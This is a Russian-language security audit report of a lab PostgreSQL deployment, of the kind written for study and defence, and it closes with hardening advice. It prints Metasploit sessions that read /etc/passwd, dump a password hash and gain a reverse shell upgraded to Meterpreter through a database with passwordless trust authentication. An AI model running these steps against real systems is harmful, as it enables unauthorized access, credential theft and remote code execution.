**Отчет о проведении аудита веб-приложения**

Оглавление

[**1.** **Вводная часть** 2](#_Toc141383920)

[**1.1** **Для руководства** 2](#_Toc141383921)

[**1.2** **Для технических специалистов** 2](#_Toc141383922)

[**2.** **Исследование и анализ** 2](#_Toc141383923)

[**2.1 Используемое ПО** 2](#_Toc141383924)

[**2.2 Техники** 2](#_Toc141383925)

[**2.3 Отчет по найденным уязвимостям** 4](#_Toc141383926)

[**3.** **Заключение и рекомендации** 4](#_Toc141383927)

# **Вводная часть**

Необходимо провести аудит и выявить наличие уязвимостей у веб-приложения.

## **Для руководства**

В ходе аудита был выявлен ряд критических уязвимостей, которые могут привести к модификации, недоступности или потере информации. Необходимо в кратчайшие сроки принять меры по устранению или принятию компенсирующих мер для нейтрализации выявленных уязвимостей

## **Для технических специалистов**

В ходе проведения аудита выявлены уязвимости с СУБД PostgreSQL. Данные уязвимости связаны с получением доступа, раскрытием идентификационных данных пользователей СУБД, удаленному исполнению произвольного кода на атакуемой системе.

# **Исследование и анализ**

## **2.1 Используемое ПО**

Для стенда применялось программное обеспечение Oracle VM VirtualBox.

Развёрнута локальная сеть (192.168.0.0/24), состоящая из двух операционных систем.

На ВМ с операционной системой Ubuntu, используя предоставленный  
docker-compose.yml. был поднят docker образ и запущено приложение, которое подверглось тестированию.

ВМ с операционной системой Kali Linux была использована для проведения тестирования (атаки).

## **2.2 Техники**

В ходе атаки были применены следующие инструменты: nmap для сканирования и сбора предварительной информации, hydra для перебора паролей, metasploit для атаки и пост эксплуатации уязвимостей.

Сканирование с помощью nmap:

nmap -sV -A -O -T4 -p0-65535 -oN TCP-port.txt <атакуемый IP>

В результате выявлены открытые порты и сервисы: 5432/tcp open postgresql PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.19

Брутфорс (перебор паролей) показал, что пользователь postgres имеет доверенный статус (trust) из любой сети, настройки конфигурации pg\_hba.conf. Пароль для подключения не потребовался.

Для поиска и эксплуатации использовалось metasploit.

а) чтение информации из файла passwd для получения информации о всех зарегистрированных пользователях

msf6 auxiliary(admin/postgres/postgres\_readfile) > set RHOSTS 192.168.0.13

RHOSTS => 192.168.0.13

msf6 auxiliary(admin/postgres/postgres\_readfile) > set rfile /etc/passwd

rfile => /etc/passwd

msf6 auxiliary(admin/postgres/postgres\_readfile) > run

[\*] Running module against 192.168.0.13

Query Text: 'CREATE TEMP TABLE RGdAeAmJuPCLMc (INPUT TEXT);

COPY RGdAeAmJuPCLMc FROM '/etc/passwd';

SELECT \* FROM RGdAeAmJuPCLMc'

б) захват баннеров

msf6 auxiliary(admin/postgres/postgres\_sql) > set rhosts 192.168.0.13

rhosts => 192.168.0.13

msf6 auxiliary(admin/postgres/postgres\_sql) > set password ""

password =>

msf6 auxiliary(admin/postgres/postgres\_sql) > run

[\*] Running module against 192.168.0.13

Query Text: 'select version()'

==============================

version

-------

PostgreSQL 9.6.15 on x86\_64-pc-linux-musl, compiled by gcc (Alpine 8.3.0) 8.3.0, 64-bit

[\*] Auxiliary module execution completed

в) получение hash пароля, для последующей его расшифровки:

sf6 auxiliary(scanner/postgres/postgres\_hashdump) > set rhosts 192.168.0.13

rhosts => 192.168.0.13

msf6 auxiliary(scanner/postgres/postgres\_hashdump) > run

[+] Query appears to have run successfully

[+] Postgres Server Hashes

======================

Username Hash

postgres md5e8a48653851e28c69d0506508fb27fc5

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

г) получение сессионного доступа и выполнение произвольного кода в системе:

**Эксплуатация уязвимости:**

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > set rhosts 192.168.0.13

rhosts => 192.168.0.13

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > set password ""

password =>

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > set lhost 192.168.0.20

lhost => 192.168.0.20

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > run

[\*] Started reverse TCP handler on 192.168.0.20:4444

[\*] 192.168.0.13:5432 - 192.168.0.13:5432 - PostgreSQL 9.6.15 on x86\_64-pc-linux-musl, compiled by gcc (Alpine 8.3.0) 8.3.0, 64-bit

[\*] 192.168.0.13:5432 - Exploiting...

[+] 192.168.0.13:5432 - 192.168.0.13:5432 - 3LvolMSL8hZS dropped successfully

[+] 192.168.0.13:5432 - 192.168.0.13:5432 - 3LvolMSL8hZS created successfully

[+] 192.168.0.13:5432 - 192.168.0.13:5432 - 3LvolMSL8hZS copied successfully(valid syntax/command)

[+] 192.168.0.13:5432 - 192.168.0.13:5432 - 3LvolMSL8hZS dropped successfully(Cleaned)

[\*] 192.168.0.13:5432 - Exploit Succeeded

[\*] Command shell session 1 opened (192.168.0.20:4444 -> 192.168.0.13:45826) at 2023-07-27 04:16:01 -0400

**Создание сессий для удаленного управления:**

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > sessions -u 1

[\*] Executing 'post/multi/manage/shell\_to\_meterpreter' on session(s): [1]

[\*] Upgrading session ID: 1

[\*] Starting exploit/multi/handler

[\*] Started reverse TCP handler on 192.168.0.20:4433

[\*] Sending stage (1017704 bytes) to 192.168.0.13

[\*] Meterpreter session 2 opened (192.168.0.20:4433 -> 192.168.0.13:51716) at 2023-07-27 04:19:19 -0400

[\*] Command stager progress: 100.00% (773/773 bytes)

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > sessions 2

[\*] Starting interaction with 2...

meterpreter >

## **2.3 Отчет по найденным уязвимостям**

Metasploit:

* admin/postgres/postgres\_readfile предоставляет возможность считать данные на атакуемой системе. В данном случае это может использовать любой пользователь
* с помощью auxiliary(admin/postgres/postgres\_sql) можно осуществить запрос в БД
* auxiliary(scanner/postgres/postgres\_hashdump) предоставляет hash пароля пользователей
* exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) используется для выполнения произвольных команд на атакуемой системе

# **Заключение и рекомендации**

Выявленные уязвимости можно предотвратить на стадии проектирования и настройки приложения. Выделить БД в отдельную подсеть, доступ к которой будет строго регламентирован. В настройках файла pg\_hba.conf (PostgreSQL) исключить возможность доверенного соединения, ограничить подсети с которых можно осуществить подключения к БД, осуществлять подключение с использованием пароля, в идеале с использованием сертификата и пароля.

В результате анализа приложения разработчику рекомендовано учесть в работе рекомендации стандарта PCI DSS, такие как системы в которых храниться, обрабатывается конфиденциальная информация выделить в отдельные сети, усилить аутентификацию пользователей при подключении к БД. CIS PostgreSQL Benchmarks